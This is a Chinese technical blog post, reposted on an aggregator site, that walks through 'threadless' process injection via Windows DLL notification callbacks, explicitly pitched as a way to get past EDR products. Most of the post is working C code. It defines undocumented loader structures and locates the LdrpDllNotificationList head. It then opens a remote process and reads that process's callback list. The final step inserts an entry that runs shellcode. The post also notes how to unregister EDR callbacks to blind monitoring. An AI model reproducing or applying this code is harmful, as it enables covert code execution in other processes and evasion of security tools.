经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 程序设计 » ASP.net » 查看文章
玄 - 利用DLL通知回调函数注入shellcode(上)
来源:cnblogs  作者:zha0gongz1  时间:2023/8/18 9:28:30  对本文有异议

偶然看到某国外大佬发布新技术-“Threadless”进程注入技术,据说可过EDR(确实可),总结该技术原理 - 在远程目标进程中利用DLL通知回调机制执行shellcode,项目地址在这里

传统进程注入四步法:

  • 获取远程进程句柄(OpenProcess函数)
  • 在远程进程中分配内存(VirtualAllocEx函数)
  • 将shellcode复制到远程进程中新分配的内存页中(WriteProcessMemory函数)
  • 在远程进程中创建线程执行shellcode(CreateRemoteThread函数)

杀毒软件和EDR产品已经学会通过快速查找这四步操作来概括并检测进程注入。

针对第四步执行shellcode方式,@CCob@Kudaes相继提出新加载技术 - ThreadlessInject。原理上基本一致,Hook并修改远程进程中线程创建与销毁过程中DLL加载的入口点,进而加载我们的shellcode。下面我们逐步剖析学习一下该技术手段。

什么是DLL Notification Callbacks?

在 Windows 操作系统中,当一个 DLL(动态链接库)被加载或卸载时,系统会调用一个预先注册的回调函数来通知应用程序。在Windows用户态下,通常使用LdrRegisterDllNotification函数来注册回调函数。

ps:Windows中除了通过上述API函数注册回调函数,还有PsSetLoadImageNotifyRoutine函数,该函数允许驱动程序注册一个回调函数,当驱动程序映像或用户映像(DLL、EXE)被映射到虚拟内存中时,系统会调用此回调函数。注意,PsSetLoadImageNotifyRoutine函数只能在内核态下使用

很遗憾,在微软官方文档中没有关于LdrDllNotification函数的详细资料,只有大致介绍


LdrDllNotification函数简介

ps:通常,一些EDR产品也是使用此函数在用户态下从加载DLL事件中获取监测数据。在@onlymalware截取的这段代码中,可以看到作为攻击方,应如何在自己的进程中取消注册所有LdrDllNotification回调函数,从而限制EDR从我们的进程中收集样本数据。

回归正题,LdrRegisterDllNotification函数方法没有相关联的头文件,但是可以通过LoadLibraryGetProcAddress进行导入。


另外,通过查阅@modexp文章了解到,还需要自己实现函数及其所有相关数据结构,以下是构造的简单示例代码:

  1. #include <Windows.h>
  2. #include <stdio.h>
  3. typedef struct _UNICODE_STR
  4. {
  5. USHORT Length;
  6. USHORT MaximumLength;
  7. PWSTR pBuffer;
  8. } UNICODE_STR, * PUNICODE_STR;
  9. typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA {
  10. ULONG Flags; // Reserved.
  11. PUNICODE_STR FullDllName; // The full path name of the DLL module.
  12. PUNICODE_STR BaseDllName; // The base file name of the DLL module.
  13. PVOID DllBase; // A pointer to the base address for the DLL in memory.
  14. ULONG SizeOfImage; // The size of the DLL image, in bytes.
  15. } LDR_DLL_LOADED_NOTIFICATION_DATA, * PLDR_DLL_LOADED_NOTIFICATION_DATA;
  16. typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA {
  17. ULONG Flags; // Reserved.
  18. PUNICODE_STR FullDllName; // The full path name of the DLL module.
  19. PUNICODE_STR BaseDllName; // The base file name of the DLL module.
  20. PVOID DllBase; // A pointer to the base address for the DLL in memory.
  21. ULONG SizeOfImage; // The size of the DLL image, in bytes.
  22. } LDR_DLL_UNLOADED_NOTIFICATION_DATA, * PLDR_DLL_UNLOADED_NOTIFICATION_DATA;
  23. typedef union _LDR_DLL_NOTIFICATION_DATA {
  24. LDR_DLL_LOADED_NOTIFICATION_DATA Loaded;
  25. LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded;
  26. } LDR_DLL_NOTIFICATION_DATA, * PLDR_DLL_NOTIFICATION_DATA;
  27. typedef VOID(CALLBACK* PLDR_DLL_NOTIFICATION_FUNCTION)(
  28. ULONG NotificationReason,
  29. PLDR_DLL_NOTIFICATION_DATA NotificationData,
  30. PVOID Context);
  31. typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
  32. LIST_ENTRY List;
  33. PLDR_DLL_NOTIFICATION_FUNCTION Callback;
  34. PVOID Context;
  35. } LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY;
  36. typedef NTSTATUS(NTAPI* _LdrRegisterDllNotification) (
  37. ULONG Flags,
  38. PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction,
  39. PVOID Context,
  40. PVOID* Cookie);
  41. typedef NTSTATUS(NTAPI* _LdrUnregisterDllNotification)(PVOID Cookie);
  42. // 回调函数
  43. VOID MyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
  44. {
  45. printf("[MyCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
  46. }
  47. int main()
  48. {
  49. // 获取NTDLL句柄
  50. HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
  51. if (hNtdll != NULL) {
  52. // 找到 LdrUnregisterDllNotification函数地址
  53. _LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
  54. // 将MyCallback函数注册为 DLL 通知回调
  55. PVOID cookie;
  56. NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MyCallback, NULL, &cookie);
  57. if (status == 0) {
  58. printf("[+] Successfully registered callback\n");
  59. }
  60. //字符中断
  61. printf("[+] Press enter to continue\n");
  62. getchar();
  63. // 加载其他dll来触发回调函数
  64. printf("[+] Loading USER32 DLL now\n");
  65. LoadLibraryA("USER32.dll");
  66. }
  67. }

ps:普及下基础知识,为什么要获取ntdll.dll的句柄?是为了找到 LdrRegisterDllNotification 函数的地址,有且只有 ntdll.dll 库中有 LdrRegisterDllNotification 函数。

运行截图:

上述代码作用大致解释为利用LoadLibraryA("USER32.dll") 加载 USER32.dll 库,触发 DLL 通知回调函数,也就是上面注册的 MyCallback 函数。MyCallback函数将打印出 DLL 的基本名称。

注册自定义回调函数

在当前进程中操纵注册自己的DLL通知回调函数,首先要找到它在内存中的位置。 查阅函数定义,获取的唯一返回值(除了 NTSTATUS)是一个指向Cookie的指针,与LdrUnregisterDllNotificationCookie一样(LdrUnregisterDllNotification函数是帮助我们删除特定的回调函数)。

关于Cookie指针的解释:Cookie指针实际上是一个指向LDR_DLL_NOTIFICATION_ENTRY的指针,它保存了与我们注册的回调函数相关的所有数据,包括指向回调函数本身的指针和指向回调函数上下文的指针(在本例中未使用)_LDR_DLL_NOTIFICATION_ENTRY还包含一个LIST_ENTRY结构,该结构指向进程中注册的其余回调函数。

:)继续普及基础知识:进程中已注册的所有回调函数都存储在LdrpDllNotificationList(双向链表)中,并通过指向上一个和下一个回调的LIST_ENTRY结构体链接在一起。当一个 DLL 被加载或卸载时,系统会遍历这个链表,并调用其中的每个回调函数,以通知应用程序有关 DLL 加载或卸载的信息。这个链表中的每个节点都是一个 LDR_DLL_NOTIFICATION_ENTRY 类型的结构体,它包含两个成员:ListNotificationFunction。其中,List 是一个 LIST_ENTRY 类型的结构体,用于将节点链接到链表中。NotificationFunction 是一个指向回调函数的指针,它指定了当 DLL 加载或卸载时要调用的函数。

完整流程解释:在当前进程中使用 LdrRegisterDllNotification 函数注册一个 DLL 通知回调函数时,这个函数会在 LdrpDllNotificationList 链表中添加一个新节点,并将其 NotificationFunction 成员设置为自定义的回调函数。当 DLL 加载或卸载时,系统会遍历这个双向链表,并调用其中的每个回调函数。

这类似于 PEB 中InMemoryOrderModuleList的双向链表,当我们想避免调用GetModuleHandleGetProcAddress时,有时会尝试通过这个方法来查找已加载的 DLL 和导出的函数。需要注意的是“LdrpDllNotificationList”的头部位于 NTDLL 的 .data 部分。

掌握这些前置知识,就可以注册一些 DLL 通知回调,将Cookie指针指向LDR_DLL_NOTIFICATION_ENTRY结构体,然后顺序遍历双向链表即可。

  1. VOID MyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
  2. {
  3. printf("[MyCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
  4. }
  5. //添加第二个回调函数
  6. VOID MySecondCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
  7. {
  8. printf("[MySecondCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
  9. }
  10. int main()
  11. {
  12. // 获取NTDLL句柄
  13. HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
  14. if (hNtdll != NULL) {
  15. // 找到 LdrUnregisterDllNotification函数地址
  16. _LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
  17. // 将MyCallback函数注册为 DLL 通知回调
  18. PVOID cookie;
  19. NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MyCallback, NULL, &cookie);
  20. if (status == 0) {
  21. printf("[+] Successfully registered first callback\n");
  22. }
  23. // 注册第二个回调函数
  24. status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MySecondCallback, NULL, &cookie);
  25. if (status == 0) {
  26. printf("[+] Successfully registered second callback\n");
  27. }
  28. // 列出当前进程的DLL通知列表回调
  29. printf("[+] DLL Notification List:\n");
  30. // The head of the list is the next link in the chain
  31. // since our callback is the last callback in the list
  32. PLIST_ENTRY head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
  33. PLDR_DLL_NOTIFICATION_ENTRY entry = (PLDR_DLL_NOTIFICATION_ENTRY)head;
  34. do {
  35. // 打印LDR_DLL_NOTIFICATION_ENTRY及其回调函数的地址
  36. printf(" %p -> %p\n", entry, entry->Callback);
  37. // Iterate to the next callback in the list
  38. entry = (PLDR_DLL_NOTIFICATION_ENTRY)entry->List.Flink;
  39. } while ((PLIST_ENTRY)entry != head); // 当我们再次遍历到列表的头部时停止
  40. printf("\n");
  41. }
  42. }

在上面的代码中,我们注册了两个不同的 DLL 通知回调函数,然后迭代双向链表,同时打印列表中的每个entry条目。

运行结果如图:

注:由于 USER32.dll 库依赖于其他 DLL 库,所以在加载 USER32.dll 库时,也会同时加载它所依赖的其他 DLL 库。这些 DLL 库也会触发 DLL 通知回调函数,并打印出它们的基本名称到控制台。因此,在您提供的输出结果中,除了 USER32.dll 的基本名称之外,还打印出了其他 DLL 库的基本名称。

操刀NTDLL注册回调函数

掌握了如何在进程中迭代 LdrpDllNotificationList(双向链表),我们需要一种方法来可靠地找到列表的头部。

  1. // 回调函数
  2. VOID DummyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
  3. {
  4. return;
  5. }
  6. // 获取 LdrpDllNotificationList头部地址
  7. PLIST_ENTRY GetDllNotificationListHead() {
  8. PLIST_ENTRY head = 0;
  9. // 获取NTDLL句柄
  10. HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
  11. if (hNtdll != NULL) {
  12. // 找到LdrRegisterDllNotification函数
  13. _LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
  14. // 找到 LdrUnregisterDllNotification函数
  15. _LdrUnregisterDllNotification pLdrUnregisterDllNotification = (_LdrUnregisterDllNotification)GetProcAddress(hNtdll, "LdrUnregisterDllNotification");
  16. // 将回调函数注册为 DLL 通知回调
  17. PVOID cookie;
  18. NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)DummyCallback, NULL, &cookie);
  19. if (status == 0) {
  20. printf("[+] Successfully registered dummy callback\n");
  21. // Cookie is the last callback registered so its Flink holds the head of the list.
  22. head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
  23. printf("[+] Found LdrpDllNotificationList head: %p\n", head);
  24. // 卸载回调函数
  25. status = pLdrUnregisterDllNotification(cookie);
  26. if (status == 0) {
  27. printf("[+] Successfully unregistered dummy callback\n");
  28. }
  29. }
  30. }
  31. return head;
  32. }

一开始,我认为刚刚注册的回调函数会在双向链表的最后一个条目中,然后双向链表的头地址必然位于其 List.Flink 指针中,因为在双向链表中最后一个条目应该始终指向第一个条目,从而关闭某种循环。虽然上述代码可以运行,但它会出现条件竞争问题,即另一个线程也可能在我们获取到指向list头部的指针前注册自己的DLL通知回调。

船到桥头自然直,请注意运行输出结果的第一个条目和第二个条目的地址,链表(又名LdrpDllNotificationList)的头部位于完全不同的内存空间中。 如果查看这部分内存空间,会发现它恰好在 NTDLL 的 .data 数据段上。 因此,为了准确无误地获取 LdrpDllNotificationList 的头部,我们在迭代链表时,首次发现 NTDLL .data 部分的内存范围内有一个条目时就停止,下一节给出问题解决前后的运行对比图,代码请自行实现。

初探远程进程精准操刀

常规操作远程目标进程 - ReadProcessMemory/NtreadVirtualMemory读内存,OpenProcess/NtOpenProcess获取进程句柄,但是我们从哪里开始读取呢?

答:LdrpDllNotificationList头地址位于 NTDLL 的 .data 数据段中,而每个进程都会从磁盘上一模一样的加载 NTDLL.dll,因此 LdrpDllNotificationList头地址也是位于每个进程中的相同位置(相对于 NTDLL 的基地址)。

所以,先在自己当前进程中检查NTDLL的基址,再获取内存中LdrpDllNotificationList头地址,计算出偏移量同时获取目标进程的NTDLL基准地址,最后在远程目标进程中将相同的偏移量累加至NTDLL基址上,即可获取到远程进程的LdrpDllNotificationList头地址,演示代码如下:

  1. #include <Windows.h>
  2. #include <stdio.h>
  3. #include "nt.h"
  4. #include <cstdint>
  5. // Our callback function
  6. VOID DummyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
  7. {
  8. return;
  9. }
  10. PLIST_ENTRY GetDllNotificationListHead() {
  11. PLIST_ENTRY head = 0;
  12. // 获取NTDLL句柄
  13. HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
  14. if (hNtdll != NULL) {
  15. // find LdrRegisterDllNotification function
  16. _LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
  17. // find LdrUnregisterDllNotification function
  18. _LdrUnregisterDllNotification pLdrUnregisterDllNotification = (_LdrUnregisterDllNotification)GetProcAddress(hNtdll, "LdrUnregisterDllNotification");
  19. // Register our dummy callback function as a DLL Notification Callback
  20. PVOID cookie;
  21. NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)DummyCallback, NULL, &cookie);
  22. if (status == 0) {
  23. printf("[+] Successfully registered dummy callback\n");
  24. // Cookie is the last callback registered so its Flink holds the head of the list.
  25. head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
  26. printf("[+] Found LdrpDllNotificationList head: %p\n", head);
  27. // Unregister our dummy callback function
  28. status = pLdrUnregisterDllNotification(cookie);
  29. if (status == 0) {
  30. printf("[+] Successfully unregistered dummy callback\n");
  31. }
  32. }
  33. }
  34. return head;
  35. }
  36. LPVOID GetNtdllBase(HANDLE hProc) {
  37. // find NtQueryInformationProcess function
  38. NtQueryInformationProcess pNtQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress((HMODULE)GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
  39. // Get the PEB of the remote process
  40. PROCESS_BASIC_INFORMATION info;
  41. NTSTATUS status = pNtQueryInformationProcess(hProc, ProcessBasicInformation, &info, sizeof(info), 0);
  42. ULONG_PTR ProcEnvBlk = (ULONG_PTR)info.PebBaseAddress;
  43. // Read the address pointer of the remote Ldr
  44. ULONG_PTR ldrAddress = 0;
  45. BOOL res = ReadProcessMemory(hProc, ((char*)ProcEnvBlk + offsetof(_PEB, pLdr)), &ldrAddress, sizeof(ULONG_PTR), nullptr);
  46. // Read the address of the remote InLoadOrderModuleList head
  47. ULONG_PTR ModuleListAddress = 0;
  48. res = ReadProcessMemory(hProc, ((char*)ldrAddress + offsetof(PEB_LDR_DATA, InLoadOrderModuleList)), &ModuleListAddress, sizeof(ULONG_PTR), nullptr);
  49. // Read the first LDR_DATA_TABLE_ENTRY in the remote InLoadOrderModuleList
  50. LDR_DATA_TABLE_ENTRY ModuleEntry = { 0 };
  51. res = ReadProcessMemory(hProc, (LPCVOID)ModuleListAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr);
  52. LIST_ENTRY* ModuleList = (LIST_ENTRY*)&ModuleEntry;
  53. WCHAR name[1024];
  54. ULONG_PTR nextModuleAddress = 0;
  55. LPWSTR sModuleName = (LPWSTR)L"ntdll.dll";
  56. // Start the forloop with reading the first LDR_DATA_TABLE_ENTRY in the remote InLoadOrderModuleList
  57. for (ReadProcessMemory(hProc, (LPCVOID)ModuleListAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr);
  58. // Stop when we reach the last entry
  59. (ULONG_PTR)(ModuleList->Flink) != ModuleListAddress;
  60. // Read the next entry in the list
  61. ReadProcessMemory(hProc, (LPCVOID)nextModuleAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr))
  62. {
  63. // Zero out the buffer for the dll name
  64. memset(name, 0, sizeof(name));
  65. // Read the buffer of the remote BaseDllName UNICODE_STRING into the buffer "name"
  66. ReadProcessMemory(hProc, (LPCVOID)ModuleEntry.BaseDllName.pBuffer, &name, ModuleEntry.BaseDllName.Length, nullptr);
  67. // Check if the name of the current module is ntdll.dll and if so, return the DllBase address
  68. if (wcscmp(name, sModuleName) == 0) {
  69. return (LPVOID)ModuleEntry.DllBase;
  70. }
  71. // Otherwise, set the nextModuleAddress to point for the next entry in the list
  72. ModuleList = (LIST_ENTRY*)&ModuleEntry;
  73. nextModuleAddress = (ULONG_PTR)(ModuleList->Flink);
  74. }
  75. return 0;
  76. }
  77. void PrintDllNotificationList(HANDLE hProc, LPVOID remoteHeadAddress) {
  78. printf("\n");
  79. printf("[+] Remote DLL Notification Block List:\n");
  80. // Allocate memory buffer for LDR_DLL_NOTIFICATION_ENTRY
  81. BYTE* entry = (BYTE*)malloc(sizeof(LDR_DLL_NOTIFICATION_ENTRY));
  82. // Read the head entry from the remote process
  83. ReadProcessMemory(hProc, remoteHeadAddress, entry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);
  84. LPVOID currentEntryAddress = remoteHeadAddress;
  85. do {
  86. // print the addresses of the LDR_DLL_NOTIFICATION_ENTRY and its callback function
  87. printf(" 0x%p -> 0x%p\n", currentEntryAddress, ((PLDR_DLL_NOTIFICATION_ENTRY)entry)->Callback);
  88. // Get the address of the next callback in the list
  89. currentEntryAddress = ((PLDR_DLL_NOTIFICATION_ENTRY)entry)->List.Flink;
  90. // Read the next callback in the list
  91. ReadProcessMemory(hProc, currentEntryAddress, entry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);
  92. } while ((PLIST_ENTRY)currentEntryAddress != remoteHeadAddress); // Stop when we reach the head of the list again
  93. free(entry);
  94. printf("\n");
  95. }
  96. int main()
  97. {
  98. // Get local LdrpDllNotificationList head address
  99. LPVOID localHeadAddress = (LPVOID)GetDllNotificationListHead();
  100. printf("[+] Local LdrpDllNotificationList head address: 0x%p\n", localHeadAddress);
  101. // Get local NTDLL base address
  102. HANDLE hNtdll = GetModuleHandleA("NTDLL.dll");
  103. printf("[+] Local NTDLL base address: %p\n", hNtdll);
  104. // calculate the offset of LdrpDllNotificationList from NTDLL base
  105. int64_t offsetFromBase = (BYTE*)localHeadAddress - (BYTE*)hNtdll;
  106. printf("[+] LdrpDllNotificationList offset from NTDLL base: 0x%IX\n", offsetFromBase);
  107. // Open handle to remote process
  108. HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4764);
  109. printf("[+] Got handle to remote process\n");
  110. // Get remote NTDLL base address
  111. LPVOID remoteNtdllBase = GetNtdllBase(hProc);
  112. LPVOID remoteHeadAddress = (BYTE*)remoteNtdllBase + offsetFromBase;
  113. printf("[+] Remote LdrpDllNotificationList head address 0x%p\n", remoteHeadAddress);
  114. // Print the remote Dll Notification List
  115. PrintDllNotificationList(hProc, remoteHeadAddress);
  116. }

问题解决前后运行对比图

操刀远程进程弹计算器

上一节只是读取了远程目标进程的双向链表,这节编写代码操纵目标进程内存执行shellcode。但是,首先依然需要深入了解LDR_DLL_NOTIFICATION_ENTRY结构体,特别是其LIST_ENTRY的属性。

  1. typedef struct _LIST_ENTRY {
  2. struct _LIST_ENTRY *Flink;
  3. struct _LIST_ENTRY *Blink;
  4. } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
  5. typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
  6. LIST_ENTRY List;
  7. PLDR_DLL_NOTIFICATION_FUNCTION Callback;
  8. PVOID Context;
  9. } LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY;

每个_LDR_DLL_NOTIFICATION_ENTRY条目都有一个属性 List,而 List属性本身就是一个LIST_ENTRY类型的结构,继续套娃,LIST_ENTRY又有两个属性:

  • 1.Flink(Forward Link,前向链),保存指向list中下一个entry条目的指针
  • 2.Blink(Backward Link,后向链),保存指向list中上一个entry条目的指针

当使用LdrRegisterDllNotification注册回调函数时,实际调用过程如下:

1.为新创建的entry条目分配一个新的 LDR_DLL_NOTIFICATION_ENTRY 结构
2.设置Callback属性为指向我们自定义的回调函数
3.设置Context属性为指向所提供的上下文(如果有的话)
4.设置List.Blink属性为指向LdrpDllNotificationList中最后一个LDR_DLL_NOTIFICATION_ENTRY条目
5.更改在LdrpDllNotificationList中最后一个 LDR_DLL_NOTIFICATION_ENTRY 条目的List.Flink属性为指向我们新创建的entry条目
6.设置List.Flink属性为指向LdrpDllNotificationList的头部(双向链表中的最后一个链接应始终指向列表的头部)。
7.更改LdrpDllNotificationList头List.Blink属性为指向我们新创建的条目

这是关于双向链接列表的演示图,不过有一点区别是,在我们的示例中,列表的头部和尾部也连接起来,这就是所谓的循环双向链表。

最终的演示代码在这里,编译时需要自己手动填写shellcode并改写目标进程的PID。

结果图如下,在最终代码中,注入新创建的LDR_DLL_NOTIFICATION_ENTRY到远程进程中,触发执行调用calc的shellcode。


本文到此已经初步阐明该技术手段的基本原理,后续进一步了解如何利用该技术手段调试执行恶意shellcode,请期待《利用DLL通知回调函数注入shellcode(下)》(因为我还没写完...)

参考链接:
DLL Notification Injection

原文链接:https://www.cnblogs.com/zha0gongz1/p/17633377.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号